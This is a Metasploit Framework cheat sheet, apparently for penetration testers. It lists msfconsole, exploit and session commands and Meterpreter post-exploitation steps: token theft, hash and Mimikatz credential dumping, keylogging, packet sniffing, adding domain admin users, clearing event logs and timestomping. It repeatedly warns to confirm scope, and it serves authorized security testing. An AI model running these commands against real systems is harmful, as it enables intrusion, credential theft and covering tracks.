Metasploit Framework

Metasploit is the standard framework for finding, configuring, and launching exploits without writing one from scratch every time. It’s built around a few core pieces: a database to track what you’ve found, modules (exploits, auxiliary scanners, payloads) that do the actual work, and Meterpreter, the payload that gives you a full post-exploitation toolkit once a module lands.

msfconsole

The framework itself. Search for modules, configure options, launch exploits, and manage every session from one interface.

Meterpreter

What you get after a successful exploit. An in-memory agent for file operations, privilege escalation, and further post-exploitation, without dropping extra tools to disk.

Almost every module follows the same pattern: search, use, show options, set the required values, then run or exploit. Learn that loop once and most of msfconsole falls into place.

Getting Started

The database needs to be initialized once before first use, Metasploit falls back to working without it, but you lose the host/service tracking that makes the database worth using in the first place.

sudo msfdb init       # one-time setup, creates the database Metasploit uses
msfconsole              # launch the console

A few launch flags are worth knowing before you’re inside the console:

msfconsole -q                       # skip the startup banner, faster to launch
msfconsole -x "COMMAND; COMMAND"    # run one or more commands immediately on startup
msfconsole -r SCRIPT.rc              # run a resource script (a saved list of console commands) on startup

-x is handy for scripting a quick exploit launch from bash without sitting in the interactive console at all, e.g. msfconsole -q -x "use exploit/...; set RHOSTS TARGET; run; exit -y".

Workspace and Database

Metasploit’s database tracks hosts, services, and vulnerabilities across a whole engagement, which saves you from re-scanning or re-typing targets every session. Setting up a workspace per engagement keeps results from bleeding into each other.

workspace                        # list available workspaces
workspace -a ENGAGEMENT_NAME      # create and switch to a new one

Importing existing scan data is usually faster than scanning from inside msfconsole:

db_import /path/to/nmap_scan.xml     # import nmap, Nessus, OpenVAS and other common scan formats

Or run nmap directly and have the results land in the database automatically:

db_nmap -sV -sC TARGET

Once you’ve got data in, these pull it back out:

hosts          # list discovered hosts
services       # list discovered services per host
vulns          # list discovered vulnerabilities

Manual database setup

If a database isn’t already connected, create and connect to one manually:

db_create ENGAGEMENT_NAME
db_connect ENGAGEMENT_NAME
db_destroy ENGAGEMENT_NAME

Finding and Configuring Modules

Everything in Metasploit, exploits, auxiliary scanners, and payloads, is a module you search for, load, and configure the same way.

search TERM              # search across all module types
show exploits             # list every exploit module
show auxiliary            # list every auxiliary module
show payloads              # list every payload
use MODULE_PATH            # load a module by name
use NUMBER                 # or by its index from the last search result

Once a module is loaded, check what it needs before running it:

show options       # required and optional settings for this module
show targets        # supported platforms/targets, when relevant
info                 # full description of the loaded module

Set the values the module is asking for, then confirm it’s worth running:

set RHOSTS TARGET
set LHOST ATTACKER_IP
set payload windows/x64/meterpreter/reverse_tcp
check                      # ask the module if the target looks vulnerable, before firing anything

setg sets a value globally across every module instead of just the current one, handy when you’re pivoting through several exploits against the same RHOSTS or LHOST.

Running Exploits

exploit            # run the loaded exploit module
run                 # same as exploit, generally used for auxiliary modules

A few flags change how the exploit behaves once launched:

exploit -j                    # run as a background job instead of taking over the console
exploit -z                    # don't interact with the session immediately after success
exploit -e shikata_ga_nai     # encode the payload with a specific encoder

set autorunscript migrate -f automatically migrates the resulting session to a separate process as soon as the exploit lands, useful when the exploited process is likely to crash or get killed shortly after.

Session Management

Once a module succeeds, the session it opens needs to be managed, especially once you’ve got more than one shell running at a time.

sessions               # list active sessions
sessions -l -v          # list with verbose detail, including which vuln was used
background              # send the current session to the background
sessions -i ID           # interact with a specific session by ID

Upgrading a plain shell to a full Meterpreter session unlocks everything covered below:

sessions -u SESSION_ID

Acting across multiple sessions at once

sessions -c "COMMAND"     # run one command across every live Meterpreter session
sessions -s SCRIPT_NAME   # run a Meterpreter script across every live session
sessions -K                # kill every live session

Meterpreter: File and System

Once you’ve got a Meterpreter session, these cover the basics: finding out where you landed and moving files in or out.

sysinfo          # OS, hostname, and architecture of the target
ls                 # list files in the current directory
ps                  # list running processes
upload FILE         # upload a file to the target
download FILE        # download a file from the target

shell              # drop into a native shell with the session's current tokens
background           # send the session to the background without closing it

Meterpreter: Privilege Escalation and Tokens

Token impersonation and process migration are usually how you go from an initial low-privilege session to something with real reach on the host.

getsystem              # attempt automatic SYSTEM-level privilege escalation
getprivs                 # list every privilege the current token actually has
migrate PID               # move the session into a different process, e.g. a more stable or higher-privileged one

Token theft needs the incognito extension loaded first:

use incognito
list_tokens -u                          # list available tokens by user
impersonate_token DOMAIN\\USERNAME        # impersonate a specific token
steal_token PID                          # steal and impersonate the token of a given process
rev2self                                  # revert back to the original token

Executing a process with stolen tokens

execute -f cmd.exe -i -t         # run cmd.exe interactively using all available tokens
execute -f cmd.exe -i -H -t      # same, but hidden rather than visible on the target's desktop

Meterpreter: Credentials and Surveillance

hashdump                    # dump all local hashes on the target
keyscan_start                 # start capturing keystrokes
keyscan_dump                   # dump captured keystrokes so far
keyscan_stop                    # stop capturing
screenshot                       # grab a screenshot of the current desktop

hashdump only pulls local SAM hashes. For anything beyond that, the kiwi extension (Mimikatz built into Meterpreter) gets plaintext credentials and tickets straight out of memory:

load kiwi                # load the extension
creds_all                  # dump every credential type kiwi supports in one pass
lsa_dump_sam                # dump the SAM database via LSA
lsa_dump_secrets              # dump LSA secrets, including cached domain credentials

kerberos_ticket_list and kerberos_ticket_use TICKET let you list and then pass Kerberos tickets found in memory, useful once you’re past local hashes and into lateral movement.

Network sniffing from Meterpreter

use sniffer
sniffer_interfaces                          # list interfaces available on the target
sniffer_start IFACE_ID PACKET_BUFFER          # start capturing on a specific interface
sniffer_dump IFACE_ID output.pcap              # save captured traffic to a pcap
sniffer_stop IFACE_ID                           # stop the capture

Meterpreter: Persistence and Cleanup

Adding users, modifying the registry, and clearing event logs are all high-impact actions. Make sure they’re explicitly in scope before running any of these on a real engagement.

add_user USERNAME PASSWORD -h IP                          # add a local user on the target
add_group_user "Domain Admins" USERNAME -h IP              # add a user to a domain group
reg COMMAND                                                  # query, set, create, or delete registry keys
clearev                                                       # clear the event log
timestomp                                                      # alter file timestamps as an anti-forensics measure

Pivoting and Web Scanning

run autoroute -s 192.168.56.0/24       # route traffic through the current session to reach an internal subnet
portfwd add -l 1234 -p 80 -r 10.4.23.25   # forward a remote port through the session to a local port

WMAP web application scanner

WMAP runs a basic web vulnerability scan from inside msfconsole, convenient when you’re already in the console but not a replacement for a dedicated scanner.

load wmap
wmap_sites -a TARGET_IP
wmap_targets -t http://TARGET
wmap_run -e
wmap_vulns -l

WMAP documentation

Quick Reference Tools

metasploit-autopwn

Plugin that automatically matches detected open ports against known vulnerable modules.

PayloadsAllTheThings: Metasploit

Broader community-maintained reference for msfconsole usage.

getsystem, hashdump, and any persistence commands are heavy-handed actions. Confirm they’re within scope before running them against a real target.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

Metasploit Framework

msfconsole

Meterpreter

Getting Started

Workspace and Database

Finding and Configuring Modules

Running Exploits

Session Management

Meterpreter: File and System

Meterpreter: Privilege Escalation and Tokens

Meterpreter: Credentials and Surveillance

Meterpreter: Persistence and Cleanup

Pivoting and Web Scanning

Quick Reference Tools

metasploit-autopwn

PayloadsAllTheThings: Metasploit

msfconsole

Meterpreter

​Getting Started

​Workspace and Database

​Finding and Configuring Modules

​Running Exploits

​Session Management

​Meterpreter: File and System

​Meterpreter: Privilege Escalation and Tokens

​Meterpreter: Credentials and Surveillance

​Meterpreter: Persistence and Cleanup

​Pivoting and Web Scanning

​Quick Reference Tools

metasploit-autopwn

PayloadsAllTheThings: Metasploit

Getting Started

Workspace and Database

Finding and Configuring Modules

Running Exploits

Session Management

Meterpreter: File and System

Meterpreter: Privilege Escalation and Tokens

Meterpreter: Credentials and Surveillance

Meterpreter: Persistence and Cleanup

Pivoting and Web Scanning

Quick Reference Tools